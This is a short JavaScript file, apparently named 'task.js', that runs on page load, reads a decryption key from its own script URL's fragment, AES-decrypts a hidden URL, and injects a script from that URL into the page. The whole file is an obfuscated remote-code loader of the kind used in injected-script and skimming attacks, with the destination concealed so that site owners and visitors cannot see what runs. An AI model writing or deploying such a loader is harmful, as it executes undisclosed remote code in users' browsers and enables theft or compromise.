function CheckCryptoJS () {
    if ( typeof CryptoJS !== 'undefined' ) {
        // search self
        var scripts= document.getElementsByTagName('script');
        for(i in scripts) {
            if (scripts[i].src) {
                var s = scripts[i].src.indexOf('/hit/task.js#');
                    if ( s > 0 ) {
                    var key = scripts[i].src.substring(s+13,scripts[i].src.length);
                    var encrypted = "U2FsdGVkX1/7s6ImKCphohPan1Oq45hvOPWsqioYrq2CaBBT0uomIQXFH9cX6mVIGltZeVz8oq+ST3GmReGMIg==";
                    var decrypted = CryptoJS.AES.decrypt(encrypted, key).toString(CryptoJS.enc.Utf8);
                    if(decrypted.length) {
                        var script = document.createElement("script");
                        script.setAttribute("type", "text/javascript");
                        script.setAttribute("src", decrypted);
                        document.head.appendChild(script);
                        break;
                    }
                }
            }
        }
    } else {
        setTimeout (CheckCryptoJS, 500);
    }
}
(function() {
    CheckCryptoJS();
})();